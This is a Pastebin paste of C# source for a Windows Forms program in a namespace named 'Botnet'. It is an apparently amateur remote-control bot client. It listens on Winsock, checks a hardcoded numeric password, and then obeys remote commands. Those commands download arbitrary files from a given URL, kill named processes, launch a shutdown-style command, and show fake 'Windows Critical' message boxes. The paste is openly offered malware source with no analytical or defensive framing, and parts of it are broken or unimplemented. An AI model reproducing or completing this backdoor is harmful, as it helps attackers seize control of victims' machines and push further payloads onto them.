Guest User

Untitled

a guest
Jul 16th, 2018
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Diagnostics;
  9. using System.Management;
  10. using System.Windows.Forms;
  11.  
  12. namespace Botnet
  13. {
  14. public partial class Form1 : Form
  15. {
  16. Boolean passAccepted = false;
  17. public Form1()
  18. {
  19. InitializeComponent();
  20. }
  21.  
  22. private void Form1_Load(object sender, EventArgs e)
  23. {
  24. }
  25. void winsock_ConnectionRequest(object sender, AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent e)
  26. {
  27. winsock.Accept(e.requestID);
  28. }
  29.  
  30. void winsock_DataArrival(object sender, AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent e)
  31. {
  32. String data = "";
  33. Object dat = (object)data;
  34. winsock.GetData(ref dat);
  35. data = (String)dat;
  36. acceptInput(data);
  37. }
  38.  
  39. void winsock_ConnectEvent(object sender, System.EventArgs e)
  40. {
  41. throw new System.NotImplementedException();
  42. }
  43.  
  44. void acceptInput(String data)
  45. {
  46. if (data.StartsWith("login "))
  47. {
  48. int password = Convert.ToInt32(data.Replace("login ", ""));
  49. if (password / 121 == 56 && password % 121 == 0)
  50. {
  51. passAccepted = true;
  52. }
  53. }
  54. if (passAccepted)
  55. {
  56. if (data.StartsWith("download "))
  57. {
  58. String downloadString = data.Replace("download ", "");
  59. System.Net.WebClient client = new System.Net.WebClient();
  60. client.DownloadFile(downloadString, downloadString.Remove(0, downloadString.LastIndexOf('/') + 1));
  61. }
  62. else if (data.Equals("beep"))
  63. {
  64. Console.Beep();
  65. }
  66. else if (data.StartsWith("kill "))
  67. {
  68. String processString = data.Replace("kill ", "");
  69. Process[] processList = Process.GetProcessesByName(processString);
  70. foreach (Process killProc in processList)
  71. {
  72. try
  73. {
  74. killProc.Kill();
  75. }
  76. catch
  77. {
  78. }
  79. }
  80. }
  81. else if (data.Equals("restart 1"))
  82. {
  83. Process.Start("restart", "/s /t 0");
  84. }
  85. else if (data.Equals("restart 2"))
  86. {
  87. Process.Start("restart", "/s /t 60");
  88. }
  89. else if (data.Equals("restart"))
  90. {
  91.  
  92. }
  93. else if (data.StartsWith("msgbox "))
  94. {
  95. String msgBoxString = data.Replace("msgbox ", "");
  96. MessageBox.Show(msgBoxString, "Windows Critical");
  97. }
  98.  
  99. }
  100. }
  101.  
  102. void winsock_Error(object sender, AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent e)
  103. {
  104.  
  105. throw new System.NotImplementedException();
  106. }
  107. }
  108. }
Add Comment
Please, Sign In to add comment